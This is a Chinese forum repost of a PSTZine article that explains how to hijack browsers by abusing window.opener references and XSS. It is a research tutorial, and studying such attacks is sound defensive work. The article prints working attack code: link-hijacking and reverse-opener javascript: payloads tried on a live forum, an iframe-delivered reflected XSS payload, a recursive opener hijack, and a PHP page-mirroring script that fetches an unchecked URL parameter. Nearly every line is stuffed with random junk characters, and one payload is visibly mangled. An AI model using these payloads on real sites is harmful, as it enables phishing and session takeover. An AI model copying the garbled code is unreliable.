中国网络渗透测试联盟

标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持] [打印本页]

作者: admin    时间: 2012-9-13 17:10
标题: [PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]
                           ==Ph4nt0m Security Team==
# T  o, A5 t% B# u. ~# I2 d% d 8 Q! @: Y. B( I
                       Issue 0x03, Phile #0x05 of 0x07
- y; K' X" B1 ?( B( H) B7 }9 c . C6 M* x6 d5 I$ G1 R1 w1 t

6 J  _1 @5 r" V% o' ?5 R|=---------------------------------------------------------------------------=|" O$ ?) p9 c$ N) v
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|' Q, f, ]$ Z! z, Y5 p. e
|=---------------------------------------------------------------------------=|
# `+ E- y; i) c& K|=---------------------------------------------------------------------------=|
! _. n9 z; z6 Z, |/ T|=------------------------=[      By rayh4c     ]=---------------------------=|
2 n+ Y. b* [& n  O9 a5 R) v2 u5 a0 d|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|6 I! s0 I% ?1 M; B( |' {9 l
|=---------------------------------------------------------------------------=|+ e" V$ g2 k' m
& `( q: \1 h  t  T8 W# a

: H, ]+ G4 _. @( f[目录]( Y* L5 i. z) \1 }/ O3 Z
3 u1 M" |) `  y; o. k; P
1. 前言* h& d9 {+ ^# k, H
2. 同源策略简叙& C, o& ~3 L7 H" a
3. 理解window对象的同源策略8 n# o$ c, \- K( v
4. 窗口引用功能中的同源策略漏洞
" P* P. f' k: C( O) p  4.1 父窗口引用子窗口的同源策略问题
8 Q& l& i7 a: j  C/ k  4.2 子窗口引用父窗口的同源策略问题
6 b$ |" j5 s/ t- N4 w5. 利用窗口引用漏洞劫持浏览器
; B! i: F7 w) Q. @1 }/ U6. 利用XSS漏洞劫持浏览器
9 n9 j% l1 t5 f  6.1 正向跨窗口劫持
) z  D0 h4 v2 Y8 `2 S  6.2 反向跨窗口劫持7 S+ M. j3 d- Z+ y  l! m& H
  6.3 极度危险的跨框架窗口引用劫持
, r- w, S/ i  g7 w  6.4 极度危险的正反向跨窗口递归劫持
$ I& k4 w( O1 w9 S- M" e  6.5 完全控制浏览器4 X2 v4 j: _; x' }
7. 后记
* b2 j/ v3 V. u6 ?8. 参考
4 V+ V% t: G! z. {5 n) ^# ~/ N+ s* P

5 {2 d/ t2 m+ {" S5 N一、前言
5 I3 e4 c9 S1 G& {7 `6 {' i% W  E9 e& _2 p) A
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
  B, [% t2 ^8 p' |  U4 _友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
$ E1 R; J2 ]  l; ^* X% M% U劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
- G% h$ m1 N( g+ w7 |# y8 x+ `6 M0 Y条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
* k; @- a4 J2 a7 [0 Q5 L
! e" {0 @. e% q9 N0 a$ Z% f# d0 u$ Q. N% n
二、同源策略简叙  m: k; ]9 O, q  G* t3 i3 [+ O
. Q& \2 S( ]2 H
    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以, n: K9 t% d5 n! k  k4 e. I/ }2 \
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都5 P# b8 _, x3 X& _9 o' [
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木3 h* C7 o! k8 v+ E* W3 I
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个9 m& ?+ ^+ a" O" ?
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
" U4 v( }7 n6 m4 E
& V% R  Y7 [+ K8 d/ j! U- J% M: T+ l; O5 [- \6 \. K) J
三、理解window对象的同源策略
* P7 N! @6 G% B( u! d
$ D1 }+ `! s2 }. x* A6 l; e    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
  q9 ~! P! J( `0 k- a+ f6 z象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
, Q7 T. F2 Z) v$ z& m0 b6 n6 v+ }) R% H1 o) {+ z0 n
--code-------------------------------------------------------------------------
$ O* k, i* B: A- L1 G6 R! q% f/ T<script language="javascript">  @. ~4 l3 L$ |7 f) T8 d" \
for(p in window) document.write(p+"<br>");
* q7 }; `) O( A- b7 u  M% x</script>% b* v  s+ r# O" d/ A3 p
-------------------------------------------------------------------------------9 z9 L- ?: Y! X- T+ A6 s( V

7 K3 Y0 H; t. e    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方* _$ D1 t; x) g6 x. c0 p
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,& |" N, g2 D0 \: x3 |1 O. z
这些属性和方法就必须遵循同源策略。* ?' Y: R/ M* a, l# M4 `9 p
; k: b6 \3 l8 `( H. A) @' E
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
7 N5 F0 m! ~- f7 E5 c8 I0 \" m么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须* Y# j$ b  }/ K) E: W, g% r1 Q
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这$ a" q+ {& m, u7 }: V4 D& `: [8 f
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
6 l& o/ Y* d. O5 S  t$ P2 T值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
, @- V2 h  |0 j属性并没有被拒绝访问。
' [2 a/ i9 v# T" ^  n- W
1 w* W) F; m/ q5 }--demo.html--------------------------------------------------------------------5 }1 K! s2 r8 ~7 c2 h+ g
<script language="javascript">   * @) V( t4 W( g% I: K3 ?; L+ g! C
function allPrpos(obj) {      ; V4 S: z# G- Z& C7 k% `) U
      var props = "<table><tr><td>名称</td><td>值</td>";           * J. z; a8 j% l; @  [; a* j9 n9 U
      for(var p in obj){          - W7 Y+ T) v# v0 T' a, T  m
            if(typeof(obj[p])=="function"){   6 d- z' r2 ~$ G# P
                   obj[p]();   # E/ k6 g! W, z( \9 ]4 I
             }else{                      ' P! @5 Y( J2 m# ?
                  try   
/ _$ Q1 t& _3 m. N8 S                   {   , A; i" v, D! w6 K6 w$ I
                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
+ d8 N# d5 X6 I$ Q                   }   & p+ n* X  n& k1 Z: l0 }0 G
                  catch (ex)   5 V4 Z  m& Z. G. L" w$ o1 i
                   {   
0 L& ^1 x" h, e/ R7 s) @                  
& f9 o+ b2 B& k8 y8 m                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
5 a9 Z7 M; d' p2 f2 n0 Q                   }   8 Z* ?6 Z3 A- }, @& H  V* |
                       
& R, A0 I2 s) ?- b; W7 d* ^             }   1 l2 [9 [8 X( x* F
       }   " e- u$ H- a" o. u
   ( n; a3 Y2 a. d" u& W
       document.write(props+"</table>");   , i# W. R. x& _4 H  k8 T
}   ( W, y9 Z# k: }2 R3 |
   
& ], Q2 d; }2 Z7 Ffunction createWin() {
' [! i" h: Y/ Y% V        newWin = window.open ("http://www.google.com");  2 x8 o, k) b) x: p& @- K
        setTimeout(function(){allPrpos(newWin)},2000);
5 R: O1 k  `. D} * a7 o+ ~7 \' `- N
' f1 v2 v& k, F9 ^# e  k
</script>
# y8 _+ i+ u- o& \6 D6 c/ k
! N& p8 K+ Z+ H9 p<button onclick='createWin()'>创建一个非同源子窗口测试</button>
+ E' g3 x: Q, ?  I-------------------------------------------------------------------------------
, ]4 E5 F0 @% @& n+ ~* _* ^
) N6 H, @9 j3 T3 M$ B: }  z8 a* W  Q
四、窗口引用功能中的同源策略漏洞9 l# G3 |5 c2 L9 f) `- S! p

/ W9 e$ O  t8 L2 U4.1 父窗口引用子窗口的同源策略问题
5 ~' H( I# e/ e- P$ G7 \% V  ~; m8 r
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,. c, p- l" `% U# X& Q5 |$ Y) e
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
  g! j. M4 Q$ d4 ~4 w( ]/ w) v浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进7 z+ B! I. d: N) ~. H
行测试,会发现父窗口可以控制非同源子窗口location属性值。3 R5 \" x2 O* H
1 J. t* W, a, C  r0 ]! P) T0 `4 R& G
--vul1.html--------------------------------------------------------------------' [- Z( J6 `& i' o7 l
<script language="javascript">
$ S) R6 T: v! p" B4 M6 yfunction createWin() {  ) u3 j: {) b5 q! W) M+ W
        newWin = window.open ("http://www.google.com");  
3 L! M" K& |" C" N" `# w2 C, j- n$ Z        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 8 ^; M5 k( r4 E1 F
}
  h3 }, i  L& m" ?) g</script>
. ^' c: k  G& p2 _+ s6 R9 F( `, f; F- o' s
<button onclick='createWin()'>创建一个非同源子窗口测试</button>6 E. \0 d2 I( ]9 J4 E! Z& d# g+ }7 v+ {
-------------------------------------------------------------------------------
5 h5 q" d$ n" V9 ?: Z) [8 a7 U& l" l' q1 L# R7 A0 p
! A7 ]  h2 j0 T0 w5 V  E* g3 G+ C
4.2 子窗口引用父窗口的同源策略问题( ?2 \, n& e* h9 k& n6 c% \3 P
; O- x) D( H& V% E2 U& d* U
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
9 ^5 \9 @- x6 ~( ?; _用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
$ _( n0 @2 y" G6 \可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
0 H7 X9 w7 h: Q2 Y1 j会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
( G: B& u9 I* W5 ~# X( j6 [1 f  S8 `# ?" y3 {
--code-------------------------------------------------------------------------
) x7 B4 a" _, t* V8 C3 D7 R( ]3 b( b: j: `6 R: U& Q6 t6 I1 P
javascript:window.opener.location = "http://www.80sec.com";void(0);
. Q1 L7 j3 g3 Y6 j0 ]/ W7 h5 ?0 b1 l5 w5 g4 ~0 ]
-------------------------------------------------------------------------------
4 {1 f! h* M1 ?
' [4 L0 B' ^" K/ g' q7 c# F! i& k+ V* O- ]( D
五、利用窗口引用漏洞劫持浏览器
/ w# S1 i) q  C2 R# f" t3 _1 r+ g1 _5 `
    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
( S& R5 C/ i+ t* R  L' a. z窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
! @1 P* V8 `" P- D* m9 f么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
, R- V- w8 J/ F8 T' a
3 l/ j# ~( f+ p! D    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产' Q( D1 b/ k$ q, j2 e$ s
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
0 l: I0 T) |+ _  _$ a5 v者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接" Q- d$ W7 f2 N+ x" o
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
0 K; S4 L7 r5 Q! y* [会产生什么可怕的后果。
# C9 k; r( g& `% ?/ ?
: u, Z) A" r( B$ C; J! }    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我8 L2 G! J% U" h6 s- n" q
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
# x8 e* _; x, O; {. ?这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
+ n, G% {3 i" ]候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可- W2 i( K1 i% a
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
$ m/ Z* N( U7 @  x0 o' j# d* n; p, C' b; k
--hjk_ref.php------------------------------------------------------------------( h9 ?5 m, C% P# I  q, X9 c; [
<?php
6 S9 f. C- A  u, C; N, d! F3 Y% l$ aif (array_key_exists("HTTP_REFERER", $_SERVER)) {
* _* g0 [& Y2 N# n! @5 m4 N( `$Url_Mirror = $_SERVER["HTTP_REFERER"];) e2 p: h& v3 D3 |
}
- y: V# _7 c; f& Bif(isset ($_GET['ref'])) {
( A$ u7 `4 J! Y% \  |" k7 D$ gecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';* x/ j" u4 b4 y* q& D
}+ I$ |& [+ B4 @7 {
?>
7 J1 i) `8 U8 a+ a" A& l
8 z! d/ K6 b6 u$ `, ~+ Z<script language="javascript">
/ g) g1 V' C4 Y: BsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
1 e1 T# ?$ R* P/ p& ?; h+ p1 W</script>/ L  Z9 C+ e$ K% c5 |+ w6 R
-------------------------------------------------------------------------------( y8 N' V( O8 }# I/ u" e

" O4 o1 m" |6 T, g) M    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
. t: c8 d2 u, o( ?' M' M- y
/ J! ^0 w! L3 y2 |9 S: K2 U1 F$ v& ~, v# {) c1 W9 L
六、利用XSS漏洞劫持浏览器
/ D  E) C6 d. `3 z7 r$ }: F- p# @) |# T5 M" s9 h
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为1 w& ]7 Z2 I8 \
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
0 O1 v5 e6 o! n8 w; |! _! J7 sXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
, v- o5 \4 O- s5 I9 A8 V4 w& k讨论跨站师的终极技巧:
0 e' Z4 N) O# F& \2 r, O$ h, v. J0 V+ o: }& `- R! T: _' q) r% ?/ t
6 |$ ]% {* ~6 S) T  b* L( n" ^8 Y# ?" I; w( A
6.1 正向跨窗口劫持
# F" X* I6 f1 c+ F2 V+ @" J' Q: D1 C* ?8 M
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛/ o2 f# [, M* t1 O
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
) \; Y* @; @, }! W5 c接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
1 I5 ^) `6 ]% N. ?) J+ X框脚本。
2 a5 @. t5 ?2 w6 i9 d7 i' n- A2 Z
--hijack_open.js---------------------------------------------------------------
) J3 U8 V9 O2 o5 p' J! P8 l8 @- K$ a2 ?& }6 V; G4 q- |
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);1 t7 o7 J' ]) i$ F/ D
6 r, L$ u+ j3 r
-------------------------------------------------------------------------------1 h5 @8 J. V3 v# R

/ U1 k5 E: B+ y& q) s4 \( O( A* }: Q4 t9 g+ e# Z
6.2 反向跨窗口劫持1 N5 U; i% K$ |3 p3 q  S( _
1 Q( {9 E8 C1 t
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代8 g1 V* j5 C- J" Q7 ?) _
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话5 k5 \! }( u1 s9 X) d; F
框脚本。5 U! z" I" [/ z4 f

3 C5 j5 i' }* j7 |5 m--hijack_opener.js-------------------------------------------------------------. R; k& B2 G1 z2 d- [! {. V1 _
7 k- W8 Y- a8 K% r  Z; R
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
* c, a$ b% [9 O$ ~# F" c; C
. y1 }  n$ r4 ^+ R; x. w-------------------------------------------------------------------------------
- K5 B$ k% w5 ]) n3 X) k# s: R- t, f4 b  @3 F! Y& c' W! F, z

( r0 I* U0 o# k3 m8 w) Q. e8 r6.3 极度危险的跨框架窗口引用劫持
" Q/ K+ E) {. H3 S) f$ L0 T! _5 o7 l% t/ V9 G/ M
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
5 k- O& q+ i' g6 _可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
0 q+ b8 p1 O- x$ @1 x# X适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
9 d6 \4 V, F/ l' q( u  s- D+ l" U6 h非持久型的XSS,如下:
5 A3 f; `& Z6 [# t0 O* W1 g. m3 i( f+ Q' j
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
( P, p4 W9 _* n3 Y8 X2 r6 m; D4 V8 j% C/ W0 G+ ^) N
    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口7 q+ G4 Q) t$ |  P- T% Y
注入脚本。
2 d( V1 u9 s0 G$ V: {
/ V6 D  B: f( i$ A8 z# D, t3 M  ?( {--hijack_frame_opener.js-------------------------------------------------------" O# t& o( \$ _& X
<script>
9 `1 W( @5 r2 h4 x' Nwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
) s% Y% l8 Q$ A! P+ U</script>5 |& A; J( L* y, h3 ]
-------------------------------------------------------------------------------* K9 t- y7 v6 V
* e" J7 A* ?3 i" D
& S" \* P  G! M- S9 B
6.4 极度危险的正反向跨窗口递归劫持
( i' c( o  t- c2 F' u. G) K$ A8 s2 I- _, r+ R4 w+ x8 i* ?
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
6 q9 {7 m4 O; k5 M( \的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过' K1 e0 C6 o! |4 \/ Y' h2 m/ O
异常处理规避之间跨域页面的访问异常,代码如下:# @, o7 u8 ?, t3 @

- R, L+ _3 H  `! E--code-------------------------------------------------------------------------+ l: x# n) @6 h4 H: I/ O. g

" n! p2 X) c& Z$ E: j7 t8 Ojavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);& c; Q1 z& {+ |2 a  T# L

! q5 w7 [; k& ?+ q% T-------------------------------------------------------------------------------
+ }* m- r) D  d. q0 N  `8 ?' ?3 J* A: o* y# `) w
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
0 k: g+ U- j. [3 ^2 D, U以劫持B域之前的A域页面,从而实现“隔空打击”。, j; Z7 [: b& ]. h# ~

' {  l* {# K  _, i) J5 H) M8 i    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面0 b) b+ C- u! P8 Y3 U/ o5 r+ L' s2 x3 H9 W
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
$ _. E% Q; z+ y% E% j  g
9 S! x  ~7 M9 q- w# ~1 B2 M1 o    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
* v% n. n  w( U1 W- c( p( P7 Z( o7 a' ^1 t+ x
/ j1 f/ c9 Z' ~. J6 }0 C& f
6.5 完全控制浏览器
* K& Q" p& p/ Z' G
2 g/ @' e, J; D: f7 Z    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
! |* Z9 b. j) h4 o是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS! A, y. k+ X1 g: z& u2 E: _
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
7 r, Z0 a: `5 ~而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再- r( }8 {5 ?# Y& P+ y
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
: |+ {; m% R; z师的终极目标 - 完全控制浏览器。
' U& y, E! J3 C* b+ D7 M  ]) V
2 X* a) c$ d- i/ H2 N; E7 ?4 d- X4 h3 F! V0 f% P9 g: p
七、后记! t  C9 {2 d5 n0 Y

+ q- D' J, D/ ]+ m* K7 u  z    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全: p* g* z' Q5 B1 x1 E) z
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予& c8 {4 H- {2 u5 ]
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
+ L8 ^3 j/ L/ @3 x4 N  {2 q7 D6 s8 Y
8 s, d" X7 H5 }
八、参考8 e" A" i. _. ]5 ]
6 I- G9 U- B! H, p. M( D, O
1. http://en.wikipedia.org/wiki/Same_origin_policy
: S& h4 w; a# u5 Z; }2. http://code.google.com/p/browser ... licy_for_DOM_access' k) x( J! i7 Z
3. http://www.w3.org/TR/Window/. U/ N# q9 l/ U" x( Y$ B4 e
4. http://www.80sec.com/release/browser-hijacking.txt: D7 c8 s5 W1 [7 k
5. http://www.80sec.com/all-browser-security-alert.html
" N0 c* ~) y. t2 i) D( ~+ {6. http://www.80sec.com/ms08-058-attacks-google.html
8 {' x1 u+ q, h; g% [; h! M8 I2 L. G$ ]
-EOF-




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2